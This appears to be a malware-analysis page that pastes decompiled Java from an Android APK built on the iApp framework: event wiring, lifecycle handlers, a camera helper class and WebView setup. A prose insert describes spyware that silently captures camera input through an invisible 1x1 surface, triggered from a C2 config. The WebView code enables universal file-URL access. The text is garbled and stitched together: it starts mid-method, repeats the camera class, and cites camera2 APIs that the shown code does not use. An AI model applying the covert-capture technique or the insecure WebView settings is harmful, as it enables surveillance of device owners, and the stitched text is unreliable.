"onscroll", "st_vId,st_vW,st_fM,st_vT,st_bT"); if (zAddViewEventItme4 || zAddViewEventItme5) { ((AbsListView) view).setOnScrollListener(new a(zAddViewEventItme4, zAddViewEventItme5)); } } if (view instanceof AdapterView) { if (addViewEventItme(str, i2, "clickitem", "st_vId,st_vW,st_pN,st_iD,st_vW2")) { ((AdapterView) view).setOnItemClickListener(new b()); } boolean zAddViewEventItme6 = addViewEventItme(str, i2, "onitemselected", "st_vId,st_vW,st_vW2,st_pN,st_iD"); boolean zAddViewEventItme7 = addViewEventItme(str, i2, "onnothingselected", "st_vId,st_vW"); if (zAddViewEventItme6 || zAddViewEventItme7) { ((AdapterView) view).setOnItemSelectedListener(new c(zAddViewEventItme6, zAddViewEventItme7)); } } if (view instanceof ViewPager) { boolean zAddViewEventItme8 = addViewEventItme(str, i2, "onpageselected", "st_vId,st_vW,st_pN"); boolean zAddViewEventItme9 = addViewEventItme(str, i2, "onpagescrolled", "st_vId,st_vW,st_pN,st_pT,st_pS"); boolean zAddViewEventItme10 = addViewEventItme(str, i2, "onpagescrollstatechanged", "st_vId,st_vW,st_sE"); if (zAddViewEventItme8 || zAddViewEventItme9 || zAddViewEventItme10) { new com.iapp.app.q((ViewPager) view, this.luaj, zAddViewEventItme8, zAddViewEventItme9, zAddViewEventItme10); } } if (view instanceof DrawerLayout) { boolean zAddViewEventItme11 = addViewEventItme(str, i2, "ondrawerclosed", "st_vId,st_vW,st_dW"); boolean zAddViewEventItme12 = addViewEventItme(str, i2, "ondraweropened", "st_vId,st_vW,st_dW"); boolean zAddViewEventItme13 = addViewEventItme(str, i2, "onoptionsitemselected", "st_vId,st_vW,st_iM"); if (zAddViewEventItme11 || zAddViewEventItme12 || zAddViewEventItme13) { new com.iapp.app.o((DrawerLayout) view, this.luaj, zAddViewEventItme11, zAddViewEventItme12, zAddViewEventItme13); } } if ((view instanceof SeekBar) && (str.contains("<eventItme type=\"onstarttrackingtouch\">") || str.contains("<eventItme type=\"onstoptrackingtouch\">") || str.contains("<eventItme type=\"onprogresschanged2\">"))) { boolean zAddViewEventItme14 = addViewEventItme(str, i2, "onstarttrackingtouch", "st_vId,st_vW"); boolean zAddViewEventItme15 = addViewEventItme(str, i2, "onstoptrackingtouch", "st_vId,st_vW"); boolean zAddViewEventItme16 = addViewEventItme(str, i2, "onprogresschanged2", "st_vId,st_vW,st_nS,st_fR"); if (zAddViewEventItme14 || zAddViewEventItme15 || zAddViewEventItme16) { ((SeekBar) view).setOnSeekBarChangeListener(new d(zAddViewEventItme15, zAddViewEventItme14, zAddViewEventItme16)); } } f(view, str); }
private void f(View view, String str) { if ((view instanceof com.iapp.app.TabLayout) && (str.contains("<eventItme type=\"ontabselected\">") || str.contains("<eventItme type=\"ontabunselected\">") || str.contains("<eventItme type=\"ontabreselected\">"))) { ((com.iapp.app.TabLayout) view).addOnTabSelectedListener((TabLayout.OnTabSelectedListener) new e(addViewEventItme(str, view.getId(), "ontabselected", "st_vId,st_vW,st_pN,st_tT,st_taB"), view, addViewEventItme(str, view.getId(), "ontabunselected", "st_vId,st_vW,st_pN,st_tT,st_taB"), addViewEventItme(str, view.getId(), "ontabreselected", "st_vId,st_vW,st_pN,st_tT,st_taB"))); } if (view instanceof RecyclerView) { if (str.contains("<eventItme type=\"onscrollstatechanged\">") || str.contains("<eventItme type=\"onscrolled\">")) { ((RecyclerView) view).addOnScrollListener(new f(addViewEventItme(str, view.getId(), "onscrollstatechanged", "st_vId,st_vW,st_sE"), addViewEventItme(str, view.getId(), "onscrolled", "st_vId,st_vW,st_fM,st_vT,st_bT,st_dX,st_dY,st_isB"))); } if (str.contains("<eventItme type=\"clickitem\">")) { ((RecyclerView) view).addOnItemTouchListener(new h(this, new GestureDetector(this, new g(addViewEventItme(str, view.getId(), "clickitem", "st_vId,st_vW,st_pN,st_vW2"), view)))); } } if ((view instanceof VerticalViewPager) && (str.contains("<eventItme type=\"onpageselected\">") || str.contains("<eventItme type=\"onpagescrolled\">") || str.contains("<eventItme type=\"onpagescrollstatechanged\">"))) { ((VerticalViewPager) view).setOnPageChangeListener(new i(addViewEventItme(str, view.getId(), "onpageselected", "st_vId,st_vW,st_pN"), view, addViewEventItme(str, view.getId(), "onpagescrolled", "st_vId,st_vW,st_pN,st_pT,st_pS"), addViewEventItme(str, view.getId(), "onpagescrollstatechanged", "st_vId,st_vW,st_sE"))); } if ((view instanceof SwipeRefreshLayout) && str.contains("<eventItme type=\"onrefresh\">")) { ((SwipeRefreshLayout) view).setOnRefreshListener(new j(addViewEventItme(str, view.getId(), "onrefresh", "st_vId,st_vW"), view)); } if ((view instanceof CompoundButton) && str.contains("<eventItme type=\"oncheckedchanged\">")) { ((CompoundButton) view).setOnCheckedChangeListener(new l(addViewEventItme(str, view.getId(), "oncheckedchanged", "st_vId,st_vW,st_iC"), view)); } if ((view instanceof AppBarLayout) && str.contains("<eventItme type=\"onoffsetchanged\">")) { ((AppBarLayout) view).addOnOffsetChangedListener((AppBarLayout.OnOffsetChangedListener) new m(addViewEventItme(str, view.getId(), "onoffsetchanged", "st_vId,st_vW,st_vO"))); } }
private boolean g(String str, String str2) { if (!str.contains("<eventItme type=\"" + str2 + "\">")) { return false; } String strC = c.b.a.a.r.c(str, "<eventItme type=\"" + str2 + "\">", "</eventItme>"); if (strC == null) { return false; } this.l += "function " + str2 + "()\n" + strC + "\nend\n"; return true; }
private boolean h(String str, String str2, String str3) { if (!str.contains("<eventItme type=\"" + str2 + "\">")) { return false; } String strC = c.b.a.a.r.c(str, "<eventItme type=\"" + str2 + "\">", "</eventItme>"); if (strC == null) { return false; } this.l += "function " + str2 + "(" + str3 + ")\n" + strC + "\nend\n"; return true; }
private void i(String str) { if (this.m) { str = str + "\nloading();\n"; } try { this.luaj.g(str); } catch (LuaException e2) { e2.printStackTrace(); w.O2(this, "LuaErr:\n" + e2.getMessage()); } }
private String j(String str, String str2) { if (!str.contains("<eventItme type=\"" + str2 + "\">")) { return null; } String strC = c.b.a.a.r.c(str, "<eventItme type=\"" + str2 + "\">", "</eventItme>"); if (strC != null) { return strC; } return null; }
(11) private void k(WebView webView) { if (Build.VERSION.SDK_INT >= 11) { webView.removeJavascriptInterface("searchBoxJavaBridge_"); webView.removeJavascriptInterface("accessibility"); webView.removeJavascriptInterface("accessibilityTraversal"); } }
({"SetJavaScriptEnabled"}) (16) private void l(WebView webView, String str) { webView.getSettings().setAllowFileAccess(true); webView.getSettings().setJavaScriptEnabled(true); webView.getSettings().setAppCacheEnabled(true); webView.getSettings().setAppCachePath(getApplicationContext().getDir("cache", 0).getPath()); webView.getSettings().setAppCacheMaxSize(8388608L); webView.getSettings().setDatabaseEnabled(true); webView.getSettings().setDatabasePath(getApplicationContext().getDir("database", 0).getPath()); webView.getSettings().setDomStorageEnabled(true); webView.getSettings().setGeolocationEnabled(true); webView.getSettings().setLightTouchEnabled(true); com.iapp.app.x5.c.a(webView); webView.getSettings().setSupportZoom(true); webView.getSettings().setBuiltInZoomControls(true); webView.getSettings().setUseWideViewPort(true); webView.getSettings().setLoadWithOverviewMode(true); if (Build.VERSION.SDK_INT >= 16) { webView.getSettings().setAllowUniversalAccessFromFileURLs(true); webView.getSettings().setAllowFileAccessFromFileURLs(true); } webView.setScrollBarStyle(0); if (addViewEventItme(str, webView.getId(), "ondownloadstart", "st_vId,st_vW,st_url,st_uT,st_cN,st_mE,st_cH")) { new com.iapp.app.n(webView, this.luaj); } else { webView.setDownloadListener(new k(this)); } new com.iapp.app.x5.b().p(webView, str, this); k(webView); }
private void m() { String strC; String str = this.r; if (str != null) { String strJ = j(str, "loading"); if (strJ != null) { this.m = true; this.l += "function loading()\n" + strJ + "\nend\n"; } this.n = g(this.r, "loadingComplete"); this.p = h(this.r, "downkey", "st_kC,st_eA,st_eR,st_eT"); this.q = h(this.r, "upkey", "st_kC,st_eA,st_eR,st_eT"); this.s = g(this.r, "destroy"); this.t = g(this.r, "stop"); this.u = g(this.r, "restart"); this.v = g(this.r, "start"); this.w = g(this.r, "resume"); this.x = g(this.r, "pause"); this.y = h(this.r, "onactivityresult", "st_sC,st_lC,st_iT"); this.z = h(this.r, "onrequestpermissionsresult", "st_sC,st_pS,st_gR"); this.A = h(this.r, "sensor", "st_x,st_y,st_z"); if (!this.r.contains("<eventItme type=\"menu\">") || (strC = c.b.a.a.r.c(this.r, "<eventItme type=\"menu\">", "</eventItme>")) == null) { return; } String[] strArrSplit = ("m\n" + strC).split("\ncase ", -1); this.e = new String[strArrSplit.length]; for (int i2 = 1; i2 < strArrSplit.length; i2++) { this.e[i2] = c.b.a.a.r.c(strArrSplit[i2], null, ":"); this.l += "function CreateOptionsMenu" + i2 + "()\n" + c.b.a.a.r.c(strArrSplit[i2], ":", "\nbreak") + "\nend\n"; } String strC2 = c.b.a.a.r.c(strC, "\ndefault:", "\nbreak"); if (strC2 != null) { this.o = true; this.l += "function onCreateOptionsMenuloading()\n" + strC2 + "\nend\n"; } } }
public boolean addViewEventItme(String str, int i2, String str2, String str3) { if (!str.contains("<eventItme type=\"" + str2 + "\">")) { return false; } String strC = c.b.a.a.r.c(str, "<eventItme type=\"" + str2 + "\">", "</eventItme>"); if (strC == null) { return false; } this.l += "function " + str2 + i2 + "(" + str3 + ")\n" + strC + "\nend\n"; return true; }
// com.iapp.app.run.iActivity protected void d() { super.d(); if (com.iapp.app.a.b == null) { c.b.a.a.e.t(this); finish(); return; } w.k = this.f1963d; setContentView(2131427453); this.g = getIntent().getExtras().getString("OpenFilexmlui"); this.f1962c = (LinearLayout) findViewById(2131231172); com.iapp.app.b.h3(this, this.g.toLowerCase()); }
public void g() { this.luaj = new com.iapp.app.d(this); this.k = new Aid_luaCode(this, this.luaj); this.luaj.l("activity", this); this.luaj.l("i", this.k); this.luaj.k(); m(); if (this.A) { SensorManager sensorManager = (SensorManager) getSystemService("sensor"); this.f1964i = sensorManager; Sensor defaultSensor = sensorManager.getDefaultSensor(1); this.j = defaultSensor; n nVar = new n(); this.h = nVar; this.f1964i.registerListener(nVar, defaultSensor, 2); } i(this.l); }
/* JADX WARN: Removed duplicated region for block: B:11:0x0059 */ /* Code decompiled incorrectly, please refer to instructions dump. */ public void g(String str) { View viewF; int i2 = c.b.a.a.r.i(c.b.a.a.r.c(str, "id=\"", "\""), -1); int i3 = c.b.a.a.r.i(c.b.a.a.r.c(str, "did=\"", "\""), -1); String strC = c.b.a.a.r.c(str, "type=\"", "\""); String strH = c.b.a.a.r.h(str, "ppt"); String strH2 = c.b.a.a.r.h(str, NotificationCompat.CATEGORY_EVENT); if (i2 == -1 || i3 == -1) { return; } if (strC.equals("ProgressBar")) { String strC2 = c.b.a.a.r.c("\n" + strH + "\n", "\nstyle=", "\n"); viewF = strC2 != null ? this.f.f(i2, strC, strC2) : this.f.e(i2, strC); } if (viewF == null) { return; } ViewGroup viewGroup = i3 == 0 ? this.f1962c : (ViewGroup) findViewById(i3); viewF.setLayoutParams(this.f.d(viewGroup, viewF)); if (this.f.a(new com.iapp.app.i(viewF, this), strH)) { viewF.setTag(new Object[]{strC, strH, strH2, null}); e(viewF, i2, strH2); viewGroup.addView(viewF); } }
// androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity ({"NewApi"}) protected void onActivityResult(int i2, int i3, Intent intent) throws IllegalStateException { super.onActivityResult(i2, i3, intent); if (i2 != 1101) { if (i2 != 1103) { if (this.y) { this.luaj.d("onactivityresult", Integer.valueOf(i2), Integer.valueOf(i3), intent); return; } return; } else { com.iapp.app.p pVar = com.iapp.app.p.n; if (pVar != null) { pVar.m(i2, i3, intent); return; } return; } } Uri data = (intent == null || i3 != -1) ? null : intent.getData(); try { ValueCallback<Uri> valueCallback = com.iapp.app.x5.b.f2012d; if (valueCallback != null) { valueCallback.onReceiveValue(data); } else { ValueCallback<Uri[]> valueCallback2 = com.iapp.app.x5.b.e; if (valueCallback2 != null) { valueCallback2.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(i3, intent)); } } } catch (Exception e2) { e2.printStackTrace(); } com.iapp.app.x5.b.f2012d = null; com.iapp.app.x5.b.e = null; }
// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, android.app.Activity, android.content.ComponentCallbacks public void onConfigurationChanged(Configuration configuration) { super.onConfigurationChanged(configuration); }
// android.app.Activity public boolean onContextItemSelected(MenuItem menuItem) { this.luaj.c("onCreateContextMenu" + menuItem.getGroupId() + "x" + menuItem.getItemId()); return true; }
// com.iapp.app.run.iActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity protected void onCreate(Bundle bundle) { requestWindowFeature(1); super.onCreate(bundle); }
// android.app.Activity public boolean onCreateOptionsMenu(Menu menu) { String[] strArr = this.e; if (strArr != null) { int length = strArr.length; for (int i2 = 1; i2 < length; i2++) { if (this.e[i2].contains("|")) { boolean zC0 = com.iapp.app.i.c0(menu, i2, this.e[i2], this); if (!this.B && zC0) { this.B = true; } } else { menu.add(0, i2, 0, this.e[i2]); } } } if (this.o) { this.luaj.c("onCreateOptionsMenuloading"); } return true; }
// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, android.app.Activity protected void onDestroy() { super.onDestroy(); if (this.s) { this.luaj.c("destroy"); } SensorManager sensorManager = this.f1964i; if (sensorManager != null) { sensorManager.unregisterListener(this.h, this.j); } }
public void onHideCustomViewX() { FrameLayout frameLayout = this.fullscreenContainer; if (frameLayout == null) { return; } Context context = frameLayout.getContext(); ((ViewGroup) this.fullscreenContainer.getParent()).removeView(this.fullscreenContainer); if (context instanceof Activity) { ((Activity) context).getWindow().getDecorView().setSystemUiVisibility(this.originalSystemUiVisibility); } this.fullscreenContainer.removeAllViews(); this.fullscreenContainer = null; WebChromeClient.CustomViewCallback customViewCallback = this.customViewCallback; if (customViewCallback != null) { customViewCallback.onCustomViewHidden(); } }
// androidx.appcompat.app.AppCompatActivity, android.app.Activity, android.view.KeyEvent.Callback public boolean onKeyDown(int i2, KeyEvent keyEvent) { if (this.p) { return this.luaj.e("downkey", Integer.valueOf(i2), Integer.valueOf(keyEvent.getAction()), Integer.valueOf(keyEvent.getRepeatCount()), keyEvent); } if (i2 != 4) { return false; } if (this.fullscreenContainer != null) { onHideCustomViewX(); return true; } finish(); return true; }
// android.app.Activity, android.view.KeyEvent.Callback public boolean onKeyUp(int i2, KeyEvent keyEvent) { if (this.q) { return this.luaj.e("upkey", Integer.valueOf(i2), Integer.valueOf(keyEvent.getAction()), Integer.valueOf(keyEvent.getRepeatCount()), keyEvent); } return false; }
// androidx.appcompat.app.AppCompatActivity, android.app.Activity, android.view.Window.Callback public boolean onMenuOpened(int i2, Menu menu) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { if (this.B && menu != null && menu.getClass().getSimpleName().equalsIgnoreCase("MenuBuilder")) { try { Method declaredMethod = menu.getClass().getDeclaredMethod("setOptionalIconsVisible", Boolean.TYPE); declaredMethod.setAccessible(true); declaredMethod.invoke(menu, Boolean.TRUE); } catch (Exception e2) { e2.printStackTrace(); } } return super.onMenuOpened(i2, menu); }
// android.app.Activity public boolean onOptionsItemSelected(MenuItem menuItem) { this.luaj.c("CreateOptionsMenu" + menuItem.getItemId()); return true; }
// androidx.fragment.app.FragmentActivity, android.app.Activity protected void onPause() { super.onPause(); if (this.x) { this.luaj.c("pause"); } }
// com.iapp.app.run.iActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity public void onRequestPermissionsResult(int i2, String[] strArr, int[] iArr) { super.onRequestPermissionsResult(i2, strArr, iArr); if (this.z) { this.luaj.d("onrequestpermissionsresult", Integer.valueOf(i2), strArr, iArr); } }
// android.app.Activity protected void onRestart() { super.onRestart(); w.k = this.f1963d; if (this.u) { this.luaj.c("restart"); } }
// androidx.fragment.app.FragmentActivity, android.app.Activity protected void onResume() { super.onResume(); if (this.w) { this.luaj.c("resume"); } }
public void onShowCustomViewX(Activity activity, View view, WebChromeClient.CustomViewCallback customViewCallback) { if (this.fullscreenContainer != null) { customViewCallback.onCustomViewHidden(); this.fullscreenContainer = null; return; } FrameLayout frameLayout = new FrameLayout(activity); this.fullscreenContainer = frameLayout; frameLayout.setLayoutParams(new ViewGroup.LayoutParams(-1, -1)); this.fullscreenContainer.setBackgroundColor(ViewCompat.MEASURED_STATE_MASK); Window window = activity.getWindow(); this.originalSystemUiVisibility = window.getDecorView().getSystemUiVisibility(); window.addContentView(this.fullscreenContainer, new ViewGroup.LayoutParams(-1, -1)); window.getDecorView().setSystemUiVisibility(5894); this.fullscreenContainer.addView(view); this.customViewCallback = customViewCallback; }
// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, android.app.Activity protected void onStart() { super.onStart(); if (this.v) { this.luaj.c("start"); } }
// androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, android.app.Activity protected void onStop() { super.onStop(); if (this.t) { this.luaj.c("stop"); } }
// android.app.Activity, android.view.Window.Callback public void onWindowFocusChanged(boolean z) { super.onWindowFocusChanged(z); if (!z || this.C) { return; } this.C = true; if (this.n) { this.luaj.c("loadingComplete"); } }}The lib.so payload contains logic to interface with the android.hardware.camera2 API and the MediaRecorder class.
Silent Capture: The malware initiates a SurfaceTexture that is 1x1 pixel in size (invisible to the user) to bypass the requirement for a visible camera preview.
Trigger Events: Surveillance is not constant (to save battery and avoid detection). It is triggered by specific "Events" defined in the C2 config.php, such as the phone being plugged into a charger or the screen being turned on.
xxxxxxxxxxpackage com.iapp.app;
import android.annotation.TargetApi;import android.app.Activity;import android.content.Context;import android.graphics.Bitmap;import android.graphics.BitmapFactory;import android.graphics.Matrix;import android.hardware.Camera;import android.view.SurfaceHolder;import android.view.SurfaceView;import c.b.a.a.w;import com.iapp.app.run.mian;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.util.List;
/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class m { private Activity a; private Context b;
/* renamed from: c, reason: collision with root package name */ private SurfaceView f1946c;
/* renamed from: d, reason: collision with root package name */ private SurfaceHolder f1947d; private int e; private int f; private Camera g; private boolean h;
/* renamed from: i, reason: collision with root package name */ private boolean f1948i; private boolean j; private int k; private int l; private int m; private String n; private String o; Camera.AutoFocusCallback p; Camera.PictureCallback q;
class a implements SurfaceHolder.Callback { a() { }
// android.view.SurfaceHolder.Callback public void surfaceChanged(SurfaceHolder surfaceHolder, int i2, int i3, int i4) { }
// android.view.SurfaceHolder.Callback public void surfaceCreated(SurfaceHolder surfaceHolder) throws IOException { m.this.t(); }
// android.view.SurfaceHolder.Callback public void surfaceDestroyed(SurfaceHolder surfaceHolder) { if (m.this.g != null) { if (m.this.h) { m.this.g.stopPreview(); } m.this.g.release(); m.this.g = null; } m.this.h = false; } }
class b implements Camera.AutoFocusCallback {
class a implements Camera.ShutterCallback { a(b bVar) { }
// android.hardware.Camera.ShutterCallback public void onShutter() { } }
/* renamed from: com.iapp.app.m$b$b, reason: collision with other inner class name */ class C0063b implements Camera.PictureCallback { C0063b(b bVar) { }
// android.hardware.Camera.PictureCallback public void onPictureTaken(byte[] bArr, Camera camera) { } }
b() { }
// android.hardware.Camera.AutoFocusCallback public void onAutoFocus(boolean z, Camera camera) { if (z) { camera.takePicture(new a(this), new C0063b(this), m.this.q); } } }
class c implements Camera.PictureCallback { c() { }
// android.hardware.Camera.PictureCallback public void onPictureTaken(byte[] bArr, Camera camera) throws Throwable { Bitmap bitmapDecodeByteArray; if (m.this.l != 0) { m mVar = m.this; bitmapDecodeByteArray = mVar.v(mVar.l, BitmapFactory.decodeByteArray(bArr, 0, bArr.length)); } else { bitmapDecodeByteArray = BitmapFactory.decodeByteArray(bArr, 0, bArr.length); } try { FileOutputStream fileOutputStream = new FileOutputStream(new File(m.this.n)); bitmapDecodeByteArray.compress(Bitmap.CompressFormat.JPEG, m.this.m, fileOutputStream); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } boolean z = m.this.f1948i; camera.stopPreview(); if (z) { m.this.h = false; } else { camera.startPreview(); m.this.h = true; } if (m.this.n == null || m.this.o == null) { return; } if (mian.sh) { w wVar = new w(m.this.b, m.this.a); wVar.S("st_vId", Integer.valueOf(m.this.f1946c.getId())); wVar.S("st_vW", m.this.f1946c); wVar.S("st_oS", this); wVar.S("st_fN", m.this.n); wVar.e(m.this.o); return; } Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(m.this.b, m.this.a); aid_YuCodeX.dim("st_vId", Integer.valueOf(m.this.f1946c.getId())); aid_YuCodeX.dim("st_vW", m.this.f1946c); aid_YuCodeX.dim("st_oS", this); aid_YuCodeX.dim("st_fN", m.this.n); aid_YuCodeX.YuGoX(m.this.o); } }
public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2) { this.a = null; this.b = null; this.e = -1; this.f = -1; this.g = null; this.h = false; this.f1948i = false; this.j = false; this.k = 90; this.l = 90; this.m = 95; this.n = null; this.p = new b(); this.q = new c(); this.b = context; this.a = activity; this.f1946c = surfaceView; this.j = z; this.k = i2; this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme type=\"onpicturecallback\">", "</eventItme>"); s(); }
public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2, int i3, int i4, int i5) { this.a = null; this.b = null; this.e = -1; this.f = -1; this.g = null; this.h = false; this.f1948i = false; this.j = false; this.k = 90; this.l = 90; this.m = 95; this.n = null; this.p = new b(); this.q = new c(); this.b = context; this.a = activity; this.f1946c = surfaceView; this.j = z; this.k = i2; this.e = i3; this.f = i4; this.m = i5; this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme type=\"onpicturecallback\">", "</eventItme>"); s(); }
private void A(Camera camera) { Camera.Parameters parameters; if (camera == null || (parameters = camera.getParameters()) == null) { return; } List<String> supportedFlashModes = parameters.getSupportedFlashModes(); String flashMode = parameters.getFlashMode(); if (supportedFlashModes == null || "off".equals(flashMode) || !supportedFlashModes.contains("off")) { return; } parameters.setFlashMode("off"); camera.setParameters(parameters); }
private void B(Camera camera) { Camera.Parameters parameters; List<String> supportedFlashModes; if (camera == null || (parameters = camera.getParameters()) == null || (supportedFlashModes = parameters.getSupportedFlashModes()) == null || "torch".equals(parameters.getFlashMode()) || !supportedFlashModes.contains("torch")) { return; } parameters.setFlashMode("torch"); camera.setParameters(parameters); }
(9) private int a() { Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); int numberOfCameras = Camera.getNumberOfCameras(); for (int i2 = 0; i2 < numberOfCameras; i2++) { Camera.getCameraInfo(i2, cameraInfo); if (cameraInfo.facing == 0) { return i2; } } return -1; }
(9) private int b() { Camera.CameraInfo cameraInfo = new Camera.CameraInfo(); int numberOfCameras = Camera.getNumberOfCameras(); for (int i2 = 0; i2 < numberOfCameras; i2++) { Camera.getCameraInfo(i2, cameraInfo); if (cameraInfo.facing == 1) { return i2; } } return -1; }
private void s() { SurfaceHolder holder = this.f1946c.getHolder(); this.f1947d = holder; holder.addCallback(new a()); }
/* JADX INFO: Access modifiers changed from: private */ (9) public void t() throws IOException { int i2; int i3; if (!this.h) { int iB = this.j ? b() : a(); if (iB == -1) { return; } Camera cameraOpen = Camera.open(iB); this.g = cameraOpen; cameraOpen.setDisplayOrientation(this.k); } Camera camera = this.g; if (camera == null || this.h) { return; } try { Camera.Parameters parameters = camera.getParameters(); int i4 = this.e; if (i4 != -1 && (i3 = this.f) != -1) { parameters.setPreviewSize(i4, i3); } parameters.setPreviewFpsRange(4, 10); parameters.setPictureFormat(256); parameters.set("jpeg-quality", this.m); int i5 = this.e; if (i5 != -1 && (i2 = this.f) != -1) { parameters.setPictureSize(i5, i2); } this.g.setPreviewDisplay(this.f1947d); this.g.startPreview(); } catch (Exception e) { e.printStackTrace(); } this.h = true; }
/* JADX INFO: Access modifiers changed from: private */ public Bitmap v(int i2, Bitmap bitmap) { Bitmap bitmapCreateBitmap; Matrix matrix = new Matrix(); matrix.postRotate(i2); try { bitmapCreateBitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true); } catch (OutOfMemoryError unused) { bitmapCreateBitmap = null; } if (bitmapCreateBitmap == null) { bitmapCreateBitmap = bitmap; } if (bitmap != bitmapCreateBitmap) { bitmap.recycle(); } return bitmapCreateBitmap; }
public void q(String str, int i2, boolean z) { if (this.g != null) { c.b.a.a.e.b(str, false); this.n = str; this.l = i2; this.f1948i = z; this.g.autoFocus(this.p); } }
public int r() { return this.k; }
public void u() { Camera camera = this.g; if (camera != null) { if (this.h) { camera.stopPreview(); } this.g.release(); this.g = null; } this.h = false; }
public void w(int i2) { this.k = i2; this.g.setDisplayOrientation(i2); }
public void x(boolean z) { if (z) { B(this.g); } else { A(this.g); } }
public void y() { this.g.startPreview(); this.h = true; }
public void z() { this.g.stopPreview(); this.h = false; }}xxxxxxxxxxpackage com.iapp.app;
import android.annotation.TargetApi;import android.app.Activity;import android.content.Context;import android.graphics.Bitmap;import android.graphics.BitmapFactory;import android.graphics.Matrix;import android.hardware.Camera;import android.view.SurfaceHolder;import android.view.SurfaceView;import c.b.a.a.w;import com.iapp.app.run.mian;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.util.List;
/* loaded from: /home/pana/dev/jadx-1.5.3/20260120_source_apk/classes.dex */public class m { private Activity a; private Context b;
/* renamed from: c, reason: collision with root package name */ private SurfaceView f1946c;
/* renamed from: d, reason: collision with root package name */ private SurfaceHolder f1947d; private int e; private int f; private Camera g; private boolean h;
/* renamed from: i, reason: collision with root package name */ private boolean f1948i; private boolean j; private int k; private int l; private int m; private String n; private String o; Camera.AutoFocusCallback p; Camera.PictureCallback q;
class a implements SurfaceHolder.Callback { a() { }
// android.view.SurfaceHolder.Callback public void surfaceChanged(SurfaceHolder surfaceHolder, int i2, int i3, int i4) { }
// android.view.SurfaceHolder.Callback public void surfaceCreated(SurfaceHolder surfaceHolder) throws IOException { m.this.t(); }
// android.view.SurfaceHolder.Callback public void surfaceDestroyed(SurfaceHolder surfaceHolder) { if (m.this.g != null) { if (m.this.h) { m.this.g.stopPreview(); } m.this.g.release(); m.this.g = null; } m.this.h = false; } }
class b implements Camera.AutoFocusCallback {
class a implements Camera.ShutterCallback { a(b bVar) { }
// android.hardware.Camera.ShutterCallback public void onShutter() { } }
/* renamed from: com.iapp.app.m$b$b, reason: collision with other inner class name */ class C0063b implements Camera.PictureCallback { C0063b(b bVar) { }
// android.hardware.Camera.PictureCallback public void onPictureTaken(byte[] bArr, Camera camera) { } }
b() { }
// android.hardware.Camera.AutoFocusCallback public void onAutoFocus(boolean z, Camera camera) { if (z) { camera.takePicture(new a(this), new C0063b(this), m.this.q); } } }
class c implements Camera.PictureCallback { c() { }
// android.hardware.Camera.PictureCallback public void onPictureTaken(byte[] bArr, Camera camera) throws Throwable { Bitmap bitmapDecodeByteArray; if (m.this.l != 0) { m mVar = m.this; bitmapDecodeByteArray = mVar.v(mVar.l, BitmapFactory.decodeByteArray(bArr, 0, bArr.length)); } else { bitmapDecodeByteArray = BitmapFactory.decodeByteArray(bArr, 0, bArr.length); } try { FileOutputStream fileOutputStream = new FileOutputStream(new File(m.this.n)); bitmapDecodeByteArray.compress(Bitmap.CompressFormat.JPEG, m.this.m, fileOutputStream); fileOutputStream.close(); } catch (IOException e) { e.printStackTrace(); } boolean z = m.this.f1948i; camera.stopPreview(); if (z) { m.this.h = false; } else { camera.startPreview(); m.this.h = true; } if (m.this.n == null || m.this.o == null) { return; } if (mian.sh) { w wVar = new w(m.this.b, m.this.a); wVar.S("st_vId", Integer.valueOf(m.this.f1946c.getId())); wVar.S("st_vW", m.this.f1946c); wVar.S("st_oS", this); wVar.S("st_fN", m.this.n); wVar.e(m.this.o); return; } Aid_YuCodeX aid_YuCodeX = new Aid_YuCodeX(m.this.b, m.this.a); aid_YuCodeX.dim("st_vId", Integer.valueOf(m.this.f1946c.getId())); aid_YuCodeX.dim("st_vW", m.this.f1946c); aid_YuCodeX.dim("st_oS", this); aid_YuCodeX.dim("st_fN", m.this.n); aid_YuCodeX.YuGoX(m.this.o); } }
public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2) { this.a = null; this.b = null; this.e = -1; this.f = -1; this.g = null; this.h = false; this.f1948i = false; this.j = false; this.k = 90; this.l = 90; this.m = 95; this.n = null; this.p = new b(); this.q = new c(); this.b = context; this.a = activity; this.f1946c = surfaceView; this.j = z; this.k = i2; this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme type=\"onpicturecallback\">", "</eventItme>"); s(); }
public m(Context context, Activity activity, SurfaceView surfaceView, boolean z, int i2, int i3, int i4, int i5) { this.a = null; this.b = null; this.e = -1; this.f = -1; this.g = null; this.h = false; this.f1948i = false; this.j = false; this.k = 90; this.l = 90; this.m = 95; this.n = null; this.p = new b(); this.q = new c(); this.b = context; this.a = activity; this.f1946c = surfaceView; this.j = z; this.k = i2; this.e = i3; this.f = i4; this.m = i5; this.o = c.b.a.a.r.c(((Object[]) surfaceView.getTag())[2].toString(), "<eventItme type=\"onpicturecallback\">", "</eventItme>"); s(); }
private void A(Camera camera) { Camera.Parameters parameters; if (camera == null || (parameters = camera.getParameters()) == null) { return; } List<String> supportedFlashModes = parameters.getSupportedFlashModes(); String flashMode = parameters.getFlashMode(); if (supportedFlashModes == null || "off".equals(flashMode) || !supportedFlashModes.contains("off")) { return; } parameters.setFlashMode("off"); camera.setParameters(parameters); }
